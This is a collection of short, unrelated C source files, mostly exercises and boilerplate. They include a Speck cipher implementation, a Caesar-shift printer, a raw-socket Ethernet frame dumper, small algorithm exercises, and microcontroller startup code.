x_13)? (7.0 + x_12) : (8.0 + x_13)) > ((4.0 + x_15) > (9.0 + x_16)? (4.0 + x_15) : (9.0 + x_16))? ((7.0 + x_12) > (8.0 + x_13)? (7.0 + x_12) : (8.0 + x_13)) : ((4.0 + x_15) > (9.0 + x_16)? (4.0 + x_15) : (9.0 + x_16)))? ((9.0 + x_4) > ((7.0 + x_7) > (14.0 + x_8)? (7.0 + x_7) : (14.0 + x_8))? (9.0 + x_4) : ((7.0 + x_7) > (14.0 + x_8)? (7.0 + x_7) : (14.0 + x_8))) : (((7.0 + x_12) > (8.0 + x_13)? (7.0 + x_12) : (8.0 + x_13)) > ((4.0 + x_15) > (9.0 + x_16)? (4.0 + x_15) : (9.0 + x_16))? ((7.0 + x_12) > (8.0 + x_13)? (7.0 + x_12) : (8.0 + x_13)) : ((4.0 + x_15) > (9.0 + x_16)? (4.0 + x_15) : (9.0 + x_16)))) : (((1.0 + x_18) > ((18.0 + x_19) > (3.0 + x_21)? (18.0 + x_19) : (3.0 + x_21))? (1.0 + x_18) : ((18.0 + x_19) > (3.0 + x_21)? (18.0 + x_19) : (3.0 + x_21))) > (((7.0 + x_22) > (4.0 + x_23)? (7.0 + x_22) : (4.0 + x_23)) > ((17.0 + x_25) > (3.0 + x_27)? (17.0 + x_25) : (3.0 + x_27))? ((7.0 + x_22) > (4.0 + x_23)? (7.0 + x_22) : (4.0 + x_23)) : ((17.0 + x_25) > (3.0 + x_27)? (17.0 + x_25) : (3.0 + x_27)))? ((1.0 + x_18) > ((18.0 + x_19) > (3.0 + x_21)? (18.0 + x_19) : (3.0 + x_21))? (1.0 + x_18) : ((18.0 + x_19) > (3.0 + x_21)? (18.0 + x_19) : (3.0 + x_21))) : (((7.0 + x_22) > (4.0 + x_23)? (7.0 + x_22) : (4.0 + x_23)) > ((17.0 + x_25) > (3.0 + x_27)? (17.0 + x_25) : (3.0 + x_27))? ((7.0 + x_22) > (4.0 + x_23)? (7.0 + x_22) : (4.0 + x_23)) : ((17.0 + x_25) > (3.0 + x_27)? (17.0 + x_25) : (3.0 + x_27)))));
x_26_ = ((((3.0 + x_0) > ((19.0 + x_1) > (12.0 + x_3)? (19.0 + x_1) : (12.0 + x_3))? (3.0 + x_0) : ((19.0 + x_1) > (12.0 + x_3)? (19.0 + x_1) : (12.0 + x_3))) > (((5.0 + x_4) > (8.0 + x_5)? (5.0 + x_4) : (8.0 + x_5)) > ((9.0 + x_6) > (6.0 + x_7)? (9.0 + x_6) : (6.0 + x_7))? ((5.0 + x_4) > (8.0 + x_5)? (5.0 + x_4) : (8.0 + x_5)) : ((9.0 + x_6) > (6.0 + x_7)? (9.0 + x_6) : (6.0 + x_7)))? ((3.0 + x_0) > ((19.0 + x_1) > (12.0 + x_3)? (19.0 + x_1) : (12.0 + x_3))? (3.0 + x_0) : ((19.0 + x_1) > (12.0 + x_3)? (19.0 + x_1) : (12.0 + x_3))) : (((5.0 + x_4) > (8.0 + x_5)? (5.0 + x_4) : (8.0 + x_5)) > ((9.0 + x_6) > (6.0 + x_7)? (9.0 + x_6) : (6.0 + x_7))? ((5.0 + x_4) > (8.0 + x_5)? (5.0 + x_4) : (8.0 + x_5)) : ((9.0 + x_6) > (6.0 + x_7)? (9.0 + x_6) : (6.0 + x_7)))) > (((3.0 + x_9) > ((1.0 + x_14) > (13.0 + x_18)? (1.0 + x_14) : (13.0 + x_18))? (3.0 + x_9) : ((1.0 + x_14) > (13.0 + x_18)? (1.0 + x_14) : (13.0 + x_18))) > (((14.0 + x_20) > (19.0 + x_22)? (14.0 + x_20) : (19.0 + x_22)) > ((3.0 + x_24) > (6.0 + x_26)? (3.0 + x_24) : (6.0 + x_26))? ((14.0 + x_20) > (19.0 + x_22)? (14.0 + x_20) : (19.0 + x_22)) : ((3.0 + x_24) > (6.0 + x_26)? (3.0 + x_24) : (6.0 + x_26)))? ((3.0 + x_9) > ((1.0 + x_14) > (13.0 + x_18)? (1.0 + x_14) : (13.0 + x_18))? (3.0 + x_9) : ((1.0 + x_14) > (13.0 + x_18)? (1.0 + x_14) : (13.0 + x_18))) : (((14.0 + x_20) > (19.0 + x_22)? (14.0 + x_20) : (19.0 + x_22)) > ((3.0 + x_24) > (6.0 + x_26)? (3.0 + x_24) : (6.0 + x_26))? ((14.0 + x_20) > (19.0 + x_22)? (14.0 + x_20) : (19.0 + x_22)) : ((3.0 + x_24) > (6.0 + x_26)? (3.0 + x_24) : (6.0 + x_26))))? (((3.0 + x_0) > ((19.0 + x_1) > (12.0 + x_3)? (19.0 + x_1) : (12.0 + x_3))? (3.0 + x_0) : ((19.0 + x_1) > (12.0 + x_3)? (19.0 + x_1) : (12.0 + x_3))) > (((5.0 + x_4) > (8.0 + x_5)? (5.0 + x_4) : (8.0 + x_5)) > ((9.0 + x_6) > (6.0 + x_7)? (9.0 + x_6) : (6.0 + x_7))? ((5.0 + x_4) > (8.0 + x_5)? (5.0 + x_4) : (8.0 + x_5)) : ((9.0 + x_6) > (6.0 + x_7)? (9.0 + x_6) : (6.0 + x_7)))? ((3.0 + x_0) > ((19.0 + x_1) > (12.0 + x_3)? (19.0 + x_1) : (12.0 + x_3))? (3.0 + x_0) : ((19.0 + x_1) > (12.0 + x_3)? (19.0 + x_1) : (12.0 + x_3))) : (((5.0 + x_4) > (8.0 + x_5)? (5.0 + x_4) : (8.0 + x_5)) > ((9.0 + x_6) > (6.0 + x_7)? (9.0 + x_6) : (6.0 + x_7))? ((5.0 + x_4) > (8.0 + x_5)? (5.0 + x_4) : (8.0 + x_5)) : ((9.0 + x_6) > (6.0 + x_7)? (9.0 + x_6) : (6.0 + x_7)))) : (((3.0 + x_9) > ((1.0 + x_14) > (13.0 + x_18)? (1.0 + x_14) : (13.0 + x_18))? (3.0 + x_9) : ((1.0 + x_14) > (13.0 + x_18)? (1.0 + x_14) : (13.0 + x_18))) > (((14.0 + x_20) > (19.0 + x_22)? (14.0 + x_20) : (19.0 + x_22)) > ((3.0 + x_24) > (6.0 + x_26)? (3.0 + x_24) : (6.0 + x_26))? ((14.0 + x_20) > (19.0 + x_22)? (14.0 + x_20) : (19.0 + x_22)) : ((3.0 + x_24) > (6.0 + x_26)? (3.0 + x_24) : (6.0 + x_26)))? ((3.0 + x_9) > ((1.0 + x_14) > (13.0 + x_18)? (1.0 + x_14) : (13.0 + x_18))? (3.0 + x_9) : ((1.0 + x_14) > (13.0 + x_18)? (1.0 + x_14) : (13.0 + x_18))) : (((14.0 + x_20) > (19.0 + x_22)? (14.0 + x_20) : (19.0 + x_22)) > ((3.0 + x_24) > (6.0 + x_26)? (3.0 + x_24) : (6.0 + x_26))? ((14.0 + x_20) > (19.0 + x_22)? (14.0 + x_20) : (19.0 + x_22)) : ((3.0 + x_24) > (6.0 + x_26)? (3.0 + x_24) : (6.0 + x_26)))));
x_27_ = ((((14.0 + x_0) > ((12.0 + x_1) > (17.0 + x_3)? (12.0 + x_1) : (17.0 + x_3))? (14.0 + x_0) : ((12.0 + x_1) > (17.0 + x_3)? (12.0 + x_1) : (17.0 + x_3))) > (((11.0 + x_4) > (11.0 + x_5)? (11.0 + x_4) : (11.0 + x_5)) > ((18.0 + x_6) > (18.0 + x_13)? (18.0 + x_6) : (18.0 + x_13))? ((11.0 + x_4) > (11.0 + x_5)? (11.0 + x_4) : (11.0 + x_5)) : ((18.0 + x_6) > (18.0 + x_13)? (18.0 + x_6) : (18.0 + x_13)))? ((14.0 + x_0) > ((12.0 + x_1) > (17.0 + x_3)? (12.0 + x_1) : (17.0 + x_3))? (14.0 + x_0) : ((12.0 + x_1) > (17.0 + x_3)? (12.0 + x_1) : (17.0 + x_3))) : (((11.0 + x_4) > (11.0 + x_5)? (11.0 + x_4) : (11.0 + x_5)) > ((18.0 + x_6) > (18.0 + x_13)? (18.0 + x_6) : (18.0 + x_13))? ((11.0 + x_4) > (11.0 + x_5)? (11.0 + x_4) : (11.0 + x_5)) : ((18.0 + x_6) > (18.0 + x_13)? (18.0 + x_6) : (18.0 + x_13)))) > (((9.0 + x_14) > ((11.0 + x_15) > (3.0 + x_19)? (11.0 + x_15) : (3.0 + x_19))? (9.0 + x_14) : ((11.0 + x_15) > (3.0 + x_19)? (11.0 + x_15) : (3.0 + x_19))) > (((16.0 + x_20) > (20.0 + x_22)? (16.0 + x_20) : (20.0 + x_22)) > ((13.0 + x_23) > (18.0 + x_24)? (13.0 + x_23) : (18.0 + x_24))? ((16.0 + x_20) > (20.0 + x_22)? (16.0 + x_20) : (20.0 + x_22)) : ((13.0 + x_23) > (18.0 + x_24)? (13.0 + x_23) : (18.0 + x_24)))? ((9.0 + x_14) > ((11.0 + x_15) > (3.0 + x_19)? (11.0 + x_15) : (3.0 + x_19))? (9.0 + x_14) : ((11.0 + x_15) > (3.0 + x_19)? (11.0 + x_15) : (3.0 + x_19))) : (((16.0 + x_20) > (20.0 + x_22)? (16.0 + x_20) : (20.0 + x_22)) > ((13.0 + x_23) > (18.0 + x_24)? (13.0 + x_23) : (18.0 + x_24))? ((16.0 + x_20) > (20.0 + x_22)? (16.0 + x_20) : (20.0 + x_22)) : ((13.0 + x_23) > (18.0 + x_24)? (13.0 + x_23) : (18.0 + x_24))))? (((14.0 + x_0) > ((12.0 + x_1) > (17.0 + x_3)? (12.0 + x_1) : (17.0 + x_3))? (14.0 + x_0) : ((12.0 + x_1) > (17.0 + x_3)? (12.0 + x_1) : (17.0 + x_3))) > (((11.0 + x_4) > (11.0 + x_5)? (11.0 + x_4) : (11.0 + x_5)) > ((18.0 + x_6) > (18.0 + x_13)? (18.0 + x_6) : (18.0 + x_13))? ((11.0 + x_4) > (11.0 + x_5)? (11.0 + x_4) : (11.0 + x_5)) : ((18.0 + x_6) > (18.0 + x_13)? (18.0 + x_6) : (18.0 + x_13)))? ((14.0 + x_0) > ((12.0 + x_1) > (17.0 + x_3)? (12.0 + x_1) : (17.0 + x_3))? (14.0 + x_0) : ((12.0 + x_1) > (17.0 + x_3)? (12.0 + x_1) : (17.0 + x_3))) : (((11.0 + x_4) > (11.0 + x_5)? (11.0 + x_4) : (11.0 + x_5)) > ((18.0 + x_6) > (18.0 + x_13)? (18.0 + x_6) : (18.0 + x_13))? ((11.0 + x_4) > (11.0 + x_5)? (11.0 + x_4) : (11.0 + x_5)) : ((18.0 + x_6) > (18.0 + x_13)? (18.0 + x_6) : (18.0 + x_13)))) : (((9.0 + x_14) > ((11.0 + x_15) > (3.0 + x_19)? (11.0 + x_15) : (3.0 + x_19))? (9.0 + x_14) : ((11.0 + x_15) > (3.0 + x_19)? (11.0 + x_15) : (3.0 + x_19))) > (((16.0 + x_20) > (20.0 + x_22)? (16.0 + x_20) : (20.0 + x_22)) > ((13.0 + x_23) > (18.0 + x_24)? (13.0 + x_23) : (18.0 + x_24))? ((16.0 + x_20) > (20.0 + x_22)? (16.0 + x_20) : (20.0 + x_22)) : ((13.0 + x_23) > (18.0 + x_24)? (13.0 + x_23) : (18.0 + x_24)))? ((9.0 + x_14) > ((11.0 + x_15) > (3.0 + x_19)? (11.0 + x_15) : (3.0 + x_19))? (9.0 + x_14) : ((11.0 + x_15) > (3.0 + x_19)? (11.0 + x_15) : (3.0 + x_19))) : (((16.0 + x_20) > (20.0 + x_22)? (16.0 + x_20) : (20.0 + x_22)) > ((13.0 + x_23) > (18.0 + x_24)? (13.0 + x_23) : (18.0 + x_24))? ((16.0 + x_20) > (20.0 + x_22)? (16.0 + x_20) : (20.0 + x_22)) : ((13.0 + x_23) > (18.0 + x_24)? (13.0 + x_23) : (18.0 + x_24)))));
x_0 = x_0_;
x_1 = x_1_;
x_2 = x_2_;
x_3 = x_3_;
x_4 = x_4_;
x_5 = x_5_;
x_6 = x_6_;
x_7 = x_7_;
x_8 = x_8_;
x_9 = x_9_;
x_10 = x_10_;
x_11 = x_11_;
x_12 = x_12_;
x_13 = x_13_;
x_14 = x_14_;
x_15 = x_15_;
x_16 = x_16_;
x_17 = x_17_;
x_18 = x_18_;
x_19 = x_19_;
x_20 = x_20_;
x_21 = x_21_;
x_22 = x_22_;
x_23 = x_23_;
x_24 = x_24_;
x_25 = x_25_;
x_26 = x_26_;
x_27 = x_27_;
}
return 0;
}
|
the_stack_data/133745.c | #include "stdio.h"
#include "stdlib.h"
#define u64 unsigned long long
int crypto_stream_speck128128ctr_ref(
unsigned char *out,
unsigned long long outlen,
const unsigned char *n,
const unsigned char *k
)
{
u64 i,nonce[2],K[2],key[32],x,y,t;
unsigned char *block=malloc(16);
if (!outlen) {free(block); return 0;}
nonce[0]=((u64*)n)[0];
nonce[1]=((u64*)n)[1];
for(i=0;i<2;i++) K[i]=((u64 *)k)[i];
ExpandKey(K,key);
t=0;
while(outlen>=16){
x=nonce[1]; y=nonce[0]; nonce[0]++;
Encrypt(&x,&y,key);
((u64 *)out)[1+t]=x;
((u64 *)out)[0+t]=y;
t+=2;
outlen-=16;
}
if (outlen>0){
x=nonce[1]; y=nonce[0];
Encrypt(&x,&y,key);
((u64 *)block)[1]=x; ((u64 *)block)[0]=y;
for(i=0;i<outlen;i++) out[i+8*t]=block[i];
}
free(block);
return 0;
}
int crypto_stream_speck128128ctr_ref_xor(
unsigned char *out,
const unsigned char *in,
unsigned long long inlen,
const unsigned char *n,
const unsigned char *k)
{
u64 i,nonce[2],K[2],key[32],x,y,t;
unsigned char *block=malloc(16);
if (!inlen) {free(block); return 0;}
nonce[0]=((u64*)n)[0];
nonce[1]=((u64*)n)[1];
for(i=0;i<2;i++) K[i]=((u64 *)k)[i];
ExpandKey(K,key);
t=0;
while(inlen>=16){
x=nonce[1]; y=nonce[0]; nonce[0]++;
Encrypt(&x,&y,key);
((u64 *)out)[1+t]=x^((u64 *)in)[1+t];
((u64 *)out)[0+t]=y^((u64 *)in)[0+t];
t+=2;
inlen-=16;
}
if (inlen>0){
x=nonce[1]; y=nonce[0];
Encrypt(&x,&y,key);
((u64 *)block)[1]=x; ((u64 *)block)[0]=y;
for(i=0;i<inlen;i++) out[i+8*t]=block[i]^in[i+8*t];
}
free(block);
return 0;
}
#define ROR64(x,r) (((x)>>(r))|((x)<<(64-(r))))
#define ROL64(x,r) (((x)<<(r))|((x)>>(64-(r))))
#define R(x,y,k) (x=ROR64(x,8), x+=y, x^=k, y=ROL64(y,3), y^=x)
#define RI(x,y,k) (y^=x, y=ROR64(y,3), x^=k, x-=y, x=ROL64(x,8))
int Encrypt(u64 *u,u64 *v,u64 key[])
{
u64 i,x=*u,y=*v;
for(i=0;i<32;i++) R(x,y,key[i]);
*u=x; *v=y;
return 0;
}
int Decrypt(u64 *u,u64 *v,u64 key[])
{
int i;
u64 x=*u,y=*v;
for(i=31;i>=0;i--) RI(x,y,key[i]);
*u=x; *v=y;
return 0;
}
int ExpandKey(u64 K[],u64 key[])
{
u64 i,B=K[1],A=K[0];
for(i=0;i<32;i++){
key[i]=A; R(B,A,i);
}
return 0;
}
|
the_stack_data/87637519.c | // Jordan Lewis ([email protected])
// 7 April 2017
//
#include <stdio.h>
#include <stdlib.h>
#define A 'A'//65
#define Z 'Z'//90
#define a 'a'//97
#define z 'z'//122
int isUpper(int c) {
return A <= c && c <= Z;
}
int isLower(int c) {
return a <= c && c <= z;
}
int isAlphabet(int c) {
return isUpper(c) || isLower(c);
}
int isOutLower(int c, int nc) {
int limit = isUpper(c) ? A:a;
return nc < limit;
}
int isOutUpper(int c, int nc) {
int limit = isUpper(c) ? Z:z;
return nc > limit;
}
int isOut(int c, int nc) {
return isOutUpper(c, nc) || isOutLower(c, nc);
}
int fixOutUpper(int c, int upper, int lower, int shift) {
return (lower - (upper - (c + shift))) - 1;
}
int fixOutLower(int c, int upper, int lower, int shift) {
return (upper - (lower - (c + shift))) + 1;
}
int fixChar(const int ch, const int nc) {
int shift = nc - ch;
int upper = isUpper(ch) ? Z:z;
int lower = isUpper(ch) ? A:a;
if (isOutUpper(ch, nc)) {
return fixOutUpper(ch, upper, lower, shift);
} else if (isOutLower(ch, nc)) {
return fixOutLower(ch, upper, lower, shift);
}
return -1;
}
int caesar(int c, int shift) {
shift %= 26;
if (isAlphabet(c)) {
int nc = c + shift;
if (isOut(c, nc)) {
nc = fixChar(c, nc);
}
return nc;
}
return c;
}
int main (int argc, char *argv[]) {
int numc = atoi(argv[1]);
int rot = 1;
while (rot <= 26) {
printf("%d: ", rot);
int counter = 0;
while (counter < numc) {
putchar(caesar(argv[2][counter], rot));
counter++;
}
printf("\n");
rot++;
}
return 0;
}
|
the_stack_data/114003.c | #include <stdio.h>
#include <stdbool.h>
bool isLeapYear(int);
int main()
{
printf("Is Leap Year? \n");
int year;
printf("year = ");
scanf("%d", &year);
printf(isLeapYear(year) ? "isLeapYear(%d) -> true" : "isLeapYear(%d) -> false", year);
return 0;
}
bool isLeapYear(int year)
{
/*
A leap year is a year in which an extra day is added to the calendar in order to synchronize it with the seasons.
There is a leap year every year divisible by 4 except for years which are both divisible by 100 and not divisible by 400.
*/
return ((year % 4 == 0 && year % 100 != 0) || (year % 400 == 0)) ? true : false;
} |
the_stack_data/150141456.c | /* ************************************************************************** */
/* */
/* ::: :::::::: */
/* ft_sqrt.c :+: :+: :+: */
/* +:+ +:+ +:+ */
/* By: thbernar <[email protected]> +#+ +:+ +#+ */
/* +#+#+#+#+#+ +#+ */
/* Created: 2017/08/06 16:22:22 by thbernar #+# #+# */
/* Updated: 2017/08/06 17:10:26 by thbernar ### ########.fr */
/* */
/* ************************************************************************** */
int ft_sqrt(int nb)
{
int sqrt;
sqrt = 0;
while (sqrt <= nb / 2)
{
if (sqrt * sqrt == nb)
return (sqrt);
sqrt++;
}
return (0);
}
|
the_stack_data/59513095.c | /* { dg-do compile } */
int a, b, c, d, e, f;
long long
fn1 (int p)
{
return p ? p : 1;
}
static int
fn2 ()
{
lbl:
for (; f;)
return 0;
for (;;)
{
for (b = 0; b; ++b)
if (d)
goto lbl;
c = e;
}
}
void
fn3 ()
{
for (; a; a = fn1 (a))
{
fn2 ();
e = 0;
}
}
|
the_stack_data/25030.c | #include <stdio.h>
int main()
{
char c;
char last;
while((c = getchar()) != EOF) {
if (last != c && (c == ' ' || c == '\n' || c == '\t')) {
putchar('\n');
} else {
putchar(c);
}
last = c;
}
return 0;
}
|
the_stack_data/285168.c | /*
void print_list(ListNode *head)
{
for(ListNode *p = head; p != NULL; p=p->link)
printf("%d->", p->data);
printf("NULL \n");
}
*/ |
the_stack_data/178264215.c | #include <stdio.h>
int ss(int x){
int q = (int) sqrt(x);
for(int i=2;i<=q;i++){
if(x%i == 0){
return 0;
}
}
return 1;
}
int main(){
int n;
scanf("%d",&n);
for(int i = 2; i <= n; i++){
if(ss(i)){
printf("%d\n",i);
}
}
return 0;
}
|
the_stack_data/45450666.c | #include<stdio.h>
#define SIZE 100
int main(void)
{
int c[SIZE];
int i,j;
for(i=0;i<=SIZE-1;i++)
{
c[i]=2*i+2;
}
printf("Number\tValue\n");
for(j=0;j<=SIZE-1;j++)
{
printf("%d\t%d\n",j,c[j]);
}
return 0;
}
|
the_stack_data/86076138.c | #include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/if_ether.h>
#include <arpa/inet.h>
#define BUFFER_LEN 65536
int main() {
/* receive buffer */
unsigned char *buffer = (unsigned char *) malloc(BUFFER_LEN);
memset(buffer, 0, BUFFER_LEN);
struct sockaddr saddr;
int saddr_len = sizeof(saddr);
/* capture all packets through raw socket */
int sd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if (sd < 0) {
fprintf(stderr, "Error openning raw socket! Make sure this is launched with root priviliges\n");
return -1;
}
/* receive network packet into buffer (will block until a packet is received) */
int rcv_len = recvfrom(sd, buffer, BUFFER_LEN, 0, &saddr, (socklen_t *)&saddr_len);
if (rcv_len < 0) {
fprintf(stderr, "Error receiving packet!\n");
return -1;
}
/* parse Ethernet header */
struct ethhdr *eth = (struct ethhdr *)(buffer);
printf("\nEthernet Header\n");
printf("\t|-Source Address : %.2X:%.2X:%.2X:%.2X:%.2X:%.2X\n", eth->h_source[0], eth->h_source[1], eth->h_source[2], eth->h_source[3], eth->h_source[4], eth->h_source[5]);
printf("\t|-Destination Address : %.2X:%.2X:%.2X:%.2X:%.2X:%.2X\n", eth->h_dest[0], eth->h_dest[1], eth->h_dest[2], eth->h_dest[3], eth->h_dest[4], eth->h_dest[5]);
printf("\t|-Protocol : %d\n", eth->h_proto);
for (int i=0; i < rcv_len; i++) {
if(i!=0 && i%16==0)
printf("\n");
printf("%.2X ", buffer[i]);
}
printf("\n");
close(sd);
free(buffer);
return 0;
}
|
the_stack_data/67325827.c | /* $Id$ */
/* Abstract: The scheduler. Round robbin for now. */
/* Copyright 1999 chaos development. */
/* This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License as
published by the Free Software Foundation; either version 2 of the
License, or (at your option) any later version.
This program is distributed in the hope that it will be useful, but
WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
USA */
#if FALSE
void schedule (void)
{
u32 counter;
secure_printf ("ssh [email protected] -v -c arcfour\n");
haltcpu ();
spin_lock (schedule_mutex);
task_queue_length = 0;
// task_queue_position = 0;
for (counter = 0; counter < threads; counter++)
{
if (tss[counter].state == STATE_DISPATCH)
{
task_queue[task_queue_length] = counter;
task_queue_length++;
}
}
/* If no other tasks are launched, fall back to the idle
process(es). */
if (task_queue_length == 0)
{
for (counter = 0; counter < threads; counter++)
{
if (tss[counter].state == STATE_IDLE)
{
task_queue[task_queue_length] = counter;
task_queue_length++;
}
}
}
secure_printf ("task_queue_length = %lu, task queue: [", task_queue_length);
#ifdef DEBUG
{
int c;
for (c = 0; c < task_queue_length; c++)
{
secure_printf (" %lu", task_queue[c]);
}
}
secure_printf ("]\n");
#endif
spin_unlock (schedule_mutex);
}
#endif
|
the_stack_data/104159.c | #include <stdio.h>
/*
* Scrivete un programma che dato un array di interi positivi, calcoli quante
* sono le occorrenze di ogni valore presente nell'array.
* Notate che i valori dell'array, purché positivi,
* possono essere grandi a piacere.
* Il programma deve poi stampare quanto trovato, utilizzando il comando:
* printf("il valore %d appare %d volte\n", A[i], freq[i]);
*
* Per esempio se l'array è [1,1,2,3,1,2] si ottiene il seguente output:
* il valore 1 appare 3 volte
* il valore 2 appare 2 volte
* il valore 3 appare 1 volte
*
* Per la consegna usare l'array [2,5,6,2,7,6,6,7,7,7]
*
*/
int main () {
int arr[10] = {2, 5, 6, 2, 7, 6, 6, 7, 7, 7};
int len = sizeof(arr)/ sizeof(int);
int pos = 0;
int flag = 0;
int freq[len][2];
for (int i = 0; i < len; i++) {
for (int j = 0; j < pos; j++) {
if (arr[i] == freq[j][0]) {
freq[j][1]++;
flag++;
}
}
if (flag == 0) {
freq[pos][0] = arr[i];
freq[pos][1] = 1;
pos++;
}
flag = 0;
}
for (int i = 0; i < pos; i++) {
printf("il valore %d appare %d volte\n", freq[i][0], freq[i][1]);
}
}
|
the_stack_data/90764301.c | #include <stdio.h>
#include <pthread.h>
void *threadFunction(void* args)
{
while(1)
{
printf("I am threadFunction.\n");
}
}
int main()
{
pthread_t id;
int ret;
ret=pthread_create(&id,NULL,&threadFunction,NULL);
if(ret == 0)
{
printf("Thread created succesfully.\n");
pthread_create(&id,NULL,&threadFunction,NULL);
}
else
{
printf("Thread not created.\n");
return 0;
}
return 0;
}
|
the_stack_data/48574002.c | /*
*******************************************************************************
* Copyright (c) 2020-2021, STMicroelectronics
* All rights reserved.
*
* This software component is licensed by ST under BSD 3-Clause license,
* the "License"; You may not use this file except in compliance with the
* License. You may obtain a copy of the License at:
* opensource.org/licenses/BSD-3-Clause
*
*******************************************************************************
*/
#if defined(ARDUINO_GENERIC_H730IBKXQ)
#include "pins_arduino.h"
/**
* @brief System Clock Configuration
* @param None
* @retval None
*/
WEAK void SystemClock_Config(void)
{
/* SystemClock_Config can be generated by STM32CubeMX */
#warning "SystemClock_Config() is empty. Default clock at reset is used."
}
#endif /* ARDUINO_GENERIC_* */
|
the_stack_data/117327938.c | /*
Área Inferior
https://www.urionlinejudge.com.br/judge/pt/problems/view/1188
*/
#include <stdio.h>
#define LINHAS 12
#define COLUNAS 12
void preencherMatriz(double matriz[][COLUNAS]);
double computarOperacao(char operacao, double matriz[][COLUNAS]);
int main (void) {
char operacao;
double matriz[LINHAS][COLUNAS];
scanf("%c", &operacao);
preencherMatriz(matriz);
printf("%.1f\n", computarOperacao(operacao, matriz));
return 0;
}
void preencherMatriz(double matriz[][COLUNAS]) {
size_t i,
j;
for (i = 0; i < LINHAS; i++) {
for (j = 0; j < COLUNAS; j++) {
scanf("%lf", &matriz[i][j]);
}
}
}
double computarOperacao(char operacao, double matriz[][COLUNAS]) {
double soma = 0;
size_t i,
j,
posicoesSomadas = 0;
for (i = 0; i < LINHAS / 2; i++) {
for (j = i + 1; j < COLUNAS - 1 - i; j++) {
// printf("[%d, %d] ", LINHAS - i - 1, j);
soma += matriz[LINHAS - i - 1][j];
posicoesSomadas++;
}
// printf("\n");
}
if (operacao == 'S') {
return soma;
}
else {
return soma / posicoesSomadas;
}
}
|
the_stack_data/231393349.c | /**
* Linked list node.
*/
struct list {
/** Next node. */
struct list *next;
/** Data. */
int data;
};
|
the_stack_data/122597.c | /* ************************************************************************** */
/* */
/* ::: :::::::: */
/* ft_strcmp.c :+: :+: :+: */
/* +:+ +:+ +:+ */
/* By: evgenkarlson <[email protected]> +#+ +:+ +#+ */
/* +#+#+#+#+#+ +#+ */
/* Created: 2020/02/14 12:33:14 by evgenkarlson #+# #+# */
/* Updated: 2020/02/15 10:51:23 by evgenkarlson ### ########.fr */
/* */
/* ************************************************************************** */
/* команда для компиляции и одновременного запуска */
/* */
/* gcc -Wall -Werror -Wextra test.c && chmod +x ./a.out && ./a.out */
/* ************************************************************************** */
#include <unistd.h>
/* ************************************************************************** */
/* ************************************************************************** */
/* ************************************************************************** */
/* Функция побайтово сравнивает ASCI коды символов двух строк, адреса которых она приняла
* в аргументах функции. Сравнение продолжается до встречи первого отличающегося символа
* или пока не будут проверены все символы строк.
* Если все символы строк совпали, то возвращается 0. */
int ft_strcmp(char *s1, char *s2) /* Функция сравнивает две строки принимая в аргументах их адреса */
{
while (*s1 && (*s1 == *s2)) /* Если не встретился символ конца строки и ячейки двух строк идентичны */
{
s1++; /* то переходим к след ячейке строки s1 */
s2++; /* то переходим к след ячейке строки s2 */
}
return (*s1 - *s2); /* Если все символы строк совпали, то завершаем функцию и возвращается 0.
* Это произойдет за счет вычисления разности массивов.
* Если разницы нет то при вычислении вернется 0.
*
* Если разница есть то вернется разность той ячейки которые не совпали.
*
* Положительное число – если строки отличаются и код первого отличающегося символа в
* строке s1 больше кода символа на той же позиции в строке s2.
*
* Отрицательное число – если строки отличаются и код первого отличающегося символа в
* строке s1 меньше кода символа на той же позиции в строке s2.*/
}
int main(void)
{
/* Сравниваемые строки */
char str1[] = {"1234567890"};
char str2[] = {"1234577890"};
/* Сравниваем первые пять символов двух строк */
if (ft_strcmp(str1, str2) == 0)
write(1, "строки идентичны. ", 32);
else
write(1, "строки разные. ", 26);
write(1, "\n", 1);
return (0);
}
|
the_stack_data/90765089.c | #include <time.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
/* Copyright 2021 Melwyn Francis Carlo */
int main()
{
int combinations = 0;
for (int i = 0; i <= 200; i += 200)
for (int j = 0; j <= 200; j += 100)
for (int k = 0; k <= 200; k += 50)
for (int l = 0; l <= 200; l += 20)
for (int m = 0; m <= 200; m += 10)
for (int n = 0; n <= 200; n += 5)
for (int o = 0; o <= 200; o += 2)
for (int p = 0; p <= 200; p += 1)
if ((i + j + k + l + m + n + o + p) == 200)
combinations++;
printf("%d\n", combinations);
return 0;
}
|
the_stack_data/162644597.c | #include <stdint.h>
void main() {
int a;
a = 4 * 2;
}
|
the_stack_data/85864.c | /* Include for malloc is missing, at least for some gcc distribution */
#include <stdlib.h>
void *safe_malloc(size_t n)
{
void * ptr = malloc(n*sizeof(*ptr));
int i;
if(!ptr) {
exit(EXIT_FAILURE);
exit(EXIT_FAILURE);
}
else
return ptr;
}
|
the_stack_data/159515249.c | //*****************************************************************************
// LPC43xx (Cortex M0 APP) Startup code for use with LPCXpresso IDE
//
// Version : 150402
//*****************************************************************************
//
// Copyright(C) NXP Semiconductors, 2013-2015
// All rights reserved.
//
// Software that is described herein is for illustrative purposes only
// which provides customers with programming information regarding the
// LPC products. This software is supplied "AS IS" without any warranties of
// any kind, and NXP Semiconductors and its licensor disclaim any and
// all warranties, express or implied, including all implied warranties of
// merchantability, fitness for a particular purpose and non-infringement of
// intellectual property rights. NXP Semiconductors assumes no responsibility
// or liability for the use of the software, conveys no license or rights under any
// patent, copyright, mask work right, or any other intellectual property rights in
// or to any products. NXP Semiconductors reserves the right to make changes
// in the software without notification. NXP Semiconductors also makes no
// representation or warranty that such application will be suitable for the
// specified use without further testing or modification.
//
// Permission to use, copy, modify, and distribute this software and its
// documentation is hereby granted, under NXP Semiconductors' and its
// licensor's relevant copyrights in the software, without fee, provided that it
// is used in conjunction with NXP Semiconductors microcontrollers. This
// copyright, permission, and disclaimer notice must appear in all copies of
// this code.
//*****************************************************************************
#if defined (__cplusplus)
#ifdef __REDLIB__
#error Redlib does not support C++
#else
//*****************************************************************************
//
// The entry point for the C++ library startup
//
//*****************************************************************************
extern "C" {
extern void __libc_init_array(void);
}
#endif
#endif
#define WEAK __attribute__ ((weak))
#define ALIAS(f) __attribute__ ((weak, alias (#f)))
//*****************************************************************************
